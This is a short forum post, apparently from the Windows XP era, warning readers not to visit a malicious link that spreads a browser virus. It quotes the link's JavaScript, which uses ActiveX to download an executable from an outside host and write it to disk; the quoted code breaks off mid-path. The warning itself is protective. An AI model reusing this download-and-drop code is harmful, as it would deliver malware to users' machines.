Virus #########

[bumpydog]

I have just been informed from another member about this Virus. So I have copied his post and I am putting this here for you.

Ok people. There is a new virus out there. Its javascript and is in a URL everyone is passing around. I am going to put that URL in this post so everyone knows the URL and knows not to follow it.

If you click on the link or load it up in IE, while in windows XP you will have to reinstall your system from scratch. You will be screwed.



This is the link. I have broken it up so you cannot click on it by mistake.

DO NOT CLICK ON THIS LINK, IT WILL DESTROY YOUR XP INSTALL

A lot of people are pasting this link around. DO NOT GO TO IT.

The Javascript code it executes:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://scavenger.sharewith.us/patch.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files
